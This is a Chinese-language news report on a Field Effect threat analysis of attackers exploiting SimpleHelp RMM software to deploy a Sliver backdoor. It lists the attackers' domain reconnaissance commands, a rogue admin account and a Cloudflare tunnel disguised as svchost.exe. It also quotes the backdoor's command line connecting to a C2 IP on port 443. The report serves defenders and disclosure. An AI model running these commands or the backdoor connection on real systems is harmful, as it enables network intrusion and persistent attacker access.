网络安全公司 Field Effect 识别并挫败了一场复杂的网络攻击，此次攻击利用了在 SimpleHelp 的远程监控与管理（RMM）软件中新发现的漏洞。威胁行为者利用这些漏洞渗透目标网络，建立持久访问权限，并部署 Sliver 后门程序。Sliver 是一种后渗透框架，常用于红队演练，但如今越来越多地被网络犯罪分子滥用。
据 Field Effect 称，“此次攻击涉及快速且蓄意地执行一系列入侵后策略、技术和流程（TTPs），包括网络与系统探测、创建管理员账户以及建立持久化机制。若不是 Field Effect 的托管检测与响应（MDR）服务阻止了这次攻击，攻击者很可能会部署勒索软件。”
攻击始于一名威胁行为者通过被攻陷的名为 JWrapper – 远程访问的 SimpleHelp RMM 客户端获得访问权限。恶意连接源自位于爱沙尼亚的 IP 地址 194.76.227 [.] 171，通过 Shodan 扫描发现，该地址在 80 端口托管着一个 SimpleHelp 服务器。然而，由于各安全供应商的检测率较低，这种连接很可能避开了标准的网络安全过滤器。
获得访问权限后，攻击者执行了一系列侦察命令，以枚举系统信息、用户账户和网络结构。观察到的命令如下：
1.ipconfig /all（网络配置详细信息）
2.net group “domain admins” /domain（列出域管理员）
3.nltest /dclist:（枚举域控制器）
4.tasklist（列出正在运行的进程）
5.net share 和 net use（枚举共享网络资源）
运行在 213.183.45 [.] 230 上的 SimpleHelp 实例截图 | 来源：Field Effect
幸运的是，Field Effect 的 MDR 解决方案迅速检测到异常，发出了高严重性警报，并在进一步升级之前隔离了受感染的端点。
侦察之后，攻击者通过创建一个名为 “sqladmin” 的新管理员账户来提升权限。然后，他们安装了一个恶意的 agent.exe 二进制文件作为持久化机制，以防失去 RMM 访问权限。
Field Effect 对 agent.exe 的分析表明，它与 Sliver 后渗透框架一致，Sliver 是一种基于 Go 语言的先进的命令与控制（C2）工具，可与 Cobalt Strike 和 Metasploit 相媲美。该二进制文件展现出进程注入、服务篡改和文件系统操作能力，这些都是基于 Sliver 入侵的典型特征。
Field Effect 报告称：“后门程序被配置为通过以下命令连接到 45.9.148 [.] 136 的 IP 地址和 443 端口：agent.exe -connect 45.9.148 [.] 136:443 -ignore-cert。”
这个位于荷兰的 C2 基础设施被发现正在运行 OpenSSH、AnyDesk 和其他远程访问服务，使其成为进一步恶意活动的强大发射平台。
进入环境后，攻击者将目标对准域控制器（DC），并重新建立 RMM 访问权限以执行相同的侦察命令集。然而，他们没有部署 agent.exe，而是选择了一个伪装成 Windows svchost.exe 的 Cloudflare 隧道，有效地绕过了防火墙限制，并对安全工具隐藏了流量。
据 Field Effect 称，“Field Effect MDR 端点代理阻止了隧道的尝试执行，随后该系统也从网络中被隔离。” 如果该活动未被检测到，这个隧道可能会为进一步的恶意软件部署提供便利，有可能导致勒索软件攻击。
虽然尚未明确归因，但 Field Effect 指出，之前在与 Akira 勒索软件组织相关的活动中也观察到了类似策略。然而，鉴于这些常见的 TTPs，多个威胁行为者可能正在利用 SimpleHelp 漏洞来实现自己的目的。
Field Effect 还证实，1 月 28 日早些时候的一次攻击，最初怀疑与 SimpleHelp 有关，实际上确实是由相同的 RMM 利用漏洞向量引起的。对 SimpleHelp 服务器配置的分析显示，它已被修改为接受来自位于俄罗斯 IP（213.183.45 [.] 230）上的恶意 SimpleHelp 实例的连接。